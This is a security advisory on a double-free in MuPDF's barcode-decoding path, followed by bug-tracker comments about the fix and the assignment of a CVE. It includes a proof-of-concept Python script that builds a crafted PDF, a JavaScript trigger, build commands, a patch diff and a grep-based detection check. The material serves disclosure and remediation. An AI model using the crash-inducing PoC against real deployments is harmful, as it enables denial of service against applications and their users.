## Summary Double-free vulnerability in `fz_fill_pixmap_from_display_list()` when an error occurs during display list rendering. The function incorrectly drops a caller-owned pixmap in its error path before rethrowing, causing a double-free when callers also drop the same pixmap in their cleanup blocks. This leads to heap corruption and denial of service in applications using the MuPDF barcode decoding API. ## Vulnerable Code `source/fitz/util.c:125-149` ```c // source/fitz/util.c:125-149 fz_pixmap * fz_fill_pixmap_from_display_list(fz_context *ctx, fz_display_list *list, fz_matrix ctm, fz_pixmap *pix) { fz_device *dev = NULL; fz_var(dev); fz_try(ctx) { dev = fz_new_draw_device(ctx, ctm, pix); fz_run_display_list(ctx, list, dev, fz_identity, fz_infinite_rect, NULL); fz_close_device(ctx, dev); } fz_always(ctx) { fz_drop_device(ctx, dev); } fz_catch(ctx) { fz_drop_pixmap(ctx, pix); // <-- BUG: drops caller-owned pixmap fz_rethrow(ctx); } return pix; } ``` Affected caller demonstrating the double-free pattern (`source/fitz/barcode.c:162-189`): ```c // source/fitz/barcode.c:173-186 pix = fz_new_pixmap_with_bbox(ctx, fz_device_gray(ctx), bbox, NULL, 0); fz_clear_pixmap_with_value(ctx, pix, 0xFF); fz_try(ctx) { fz_fill_pixmap_from_display_list(ctx, list, fz_identity, pix); str = fz_decode_barcode_from_pixmap(ctx, type, pix, rotate); } fz_always(ctx) { fz_drop_pixmap(ctx, pix); // <-- DOUBLE-FREE if error occurred above } ``` ## Root Cause The function `fz_fill_pixmap_from_display_list()` receives a pixmap from the caller but incorrectly assumes ownership during error handling. Unlike `fz_new_pixmap_from_display_list_with_separations()` which creates the pixmap internally (and thus owns it), this function operates on a caller-provided pixmap and should not drop it on error. When an exception occurs inside the function (e.g., OOM during `fz_new_draw_device` or `fz_run_display_list`): 1. The function's `fz_catch` block drops the pixmap (refcount → 0, freed) 2. The function rethrows the exception 3. The caller's `fz_always` block drops the same pixmap again → **double-free** Introduced in commit `c810149dfd28799cf7f6b40043645cade9bf02b8` (2023-04-28) with message: "Add fz_fill_pixmap_from_display_list()." ## Affected Functions The vulnerability is triggered through: - `fz_decode_barcode_from_display_list()` - Primary affected caller in `source/fitz/barcode.c` - `DisplayList.decodeBarcode()` - JavaScript API via `mutool run` - Java bindings - `DisplayList.decodeBarcode()` in `platform/java/jni/displaylist.c` - Any application directly calling `fz_fill_pixmap_from_display_list()` with caller-owned pixmaps **Prerequisites:** - Application must use the barcode decoding API (standard PDF viewing is NOT affected) - An error must occur during `fz_run_display_list()` (e.g., OOM, malformed content) **NOT affected:** - `mutool draw`, `mutool convert` - use different code paths - `fz_decode_barcode_from_page()` - creates its own device, doesn't use vulnerable function - Standard PDF rendering without barcode extraction ## Reproduction ### Triggering via mutool run with JavaScript The intended reproduction method uses MuPDF's JavaScript bindings via `mutool run` with the `DisplayList.decodeBarcode()` API: Create a large PDF to trigger OOM (`create_malicious_pdf.py`): ```python #!/usr/bin/env python3 import zlib content = b"q 0.5 g 0 0 200000 200000 re f Q" compressed = zlib.compress(content) pdf = f"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 100000 100000] /Contents 4 0 R >> endobj 4 0 obj << /Length {len(compressed)} /Filter /FlateDecode >> stream """.encode() + compressed + b""" endstream endobj trailer << /Root 1 0 R >> %%EOF""" with open("malicious.pdf", "wb") as f: f.write(pdf) ``` Create JavaScript trigger (`trigger_vuln.js`): ```javascript var doc = Document.openDocument("malicious.pdf"); var page = doc.loadPage(0); var displayList = page.toDisplayList(); // This calls fz_decode_barcode_from_display_list() -> VULNERABLE try { var result = displayList.decodeBarcode(); } catch (e) { print("Error: " + e); } ``` Build and run: ```bash git clone --recursive https://github.com/ArtifexSoftware/mupdf.git cd mupdf make build=sanitize HAVE_ZXINGCPP=yes -j$(nproc) ./build/sanitize/mutool run trigger_vuln.js ``` **Expected result:** AddressSanitizer reports: ``` ==XXXX==ERROR: AddressSanitizer: attempting double-free on 0xXXXXXXXX ``` ### Reproduction Limitations **We were unable to trigger this vulnerability with a PDF file and direct command.** The vulnerable code path requires barcode support, which depends on the `zxing-cpp` third-party library. This functionality is **disabled by default** in MuPDF builds (`HAVE_ZXINGCPP=no`). Attempts to build with barcode support enabled (`HAVE_ZXINGCPP=yes`) encountered compilation errors: - The zxing-cpp submodule references a specific commit not available in the upstream repository - Recent zxing-cpp versions require C++20 features (`std::countr_zero`, `std::numbers::pi`, `std::popcount`) - Version mismatches between MuPDF's Makefile and available zxing-cpp releases result in missing symbols **Conclusion:** The vulnerability exists in the source code and would affect applications that successfully compile with barcode support enabled. However, since barcode support is disabled by default and has compilation challenges, the practical exploitability is limited to specific deployment scenarios where barcode functionality has been explicitly enabled and working ## Impact - **Immediate:** Heap corruption, application crash (DoS) - **Potential:** Use-after-free exploitation if memory is reallocated between the two frees; heap metadata corruption could enable arbitrary write primitives depending on allocator (glibc ptmalloc, jemalloc, etc.) **Constraints:** - Limited attack surface: only affects applications using barcode decoding API - Requires triggering an error during display list rendering (OOM, malformed content) - Standard PDF viewers are NOT affected - Barcode support is disabled by default and has compilation challenges **CVSS v3.1:** 5.3 (Medium) - AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H - AC:H due to limited attack surface (barcode API only, disabled by default) ## Mitigation / Fix Remove the `fz_drop_pixmap()` call from the catch block. The caller owns the pixmap and is responsible for cleanup in all cases. ```diff --- a/source/fitz/util.c +++ b/source/fitz/util.c @@ -141,7 +141,6 @@ fz_fill_pixmap_from_display_list(...) } fz_catch(ctx) { - fz_drop_pixmap(ctx, pix); fz_rethrow(ctx); } ``` **Side effects:** None. This restores correct ownership semantics where the caller manages the pixmap lifecycle. **Alternative fix:** Take a reference with `fz_keep_pixmap()` at function entry and drop it on all exit paths, but this is more invasive and unnecessary. ## Detection **Vulnerable versions:** - All versions since commit `c810149dfd28799cf7f6b40043645cade9bf02b8` (2023-04-28) - Function `fz_fill_pixmap_from_display_list()` with `fz_drop_pixmap` in catch block **Detection method:** ```bash grep -A 30 "^fz_fill_pixmap_from_display_list" source/fitz/util.c | \ grep -A 5 "fz_catch" | grep -q "fz_drop_pixmap.*pix" && \ echo "VULNERABLE" || echo "PATCHED" ``` **Runtime signals:** - ASan: `attempting double-free` - Crash in `free()` or allocator functions - Heap corruption symptoms after barcode decoding errors ## Timeline - **2023-04-28:** Vulnerable code introduced in commit c810149d - **2026-01-12:** Vulnerability analyzed and PoC created - **TBD:** Reported to vendor - **TBD:** Fix released ## References - CWE-415: Double Free - Vulnerable commit: `c810149dfd28799cf7f6b40043645cade9bf02b8` - Affected file: `source/fitz/util.c` - Affected caller: `source/fitz/barcode.c` - MuPDF repository: https://github.com/ArtifexSoftware/mupdf ## Credits Pavel Kohout Aisle Research www.aisle.com
Fixed in: commit d4743b6092d513321c23c6f7fe5cff87cde043c1 Author: Robin Watts <Robin.Watts@artifex.com> Date: Mon Jan 12 19:08:56 2026 +0000 Bug 709029: Fix incorrect error-case free of pixmap. Don't free a pixmap we don't own! Thanks for the report!
Hi Robin, I am realising now that I have not submitted this as a security issue. I am sorry about it...do you consider this finding a security issue? Regards, Pavel
Hi Robbin, Are you planning to request a CVE for this? If not, are you OK if I do it myself? What do you think? Regards, Pavel
Hi, (In reply to Pavel Kohout from comment #2) > I am realising now that I have not submitted this as a security issue. I am > sorry about it...do you consider this finding a security issue? Frankly, no, we don't consider things like this to be security issues unless you can produce a document that demonstrates an active exploit using it. > Are you planning to request a CVE for this? If not, are you OK if I do it > myself? As a rule, we don't apply for CVEs, we leave that to the reporter. In my personal opinion, this does not really seem worthy of a CVE, but we can't stop you applying if you really want to. Thanks.
That said, if a CVE number is assigned it would be good for us to know about it.
Not the reporter here, but while triaging CVEs in a downstream, I noticed that https://www.cve.org/CVERecord?id=CVE-2026-25556 is assigned for it.
Thank you, seems like you were faster than me.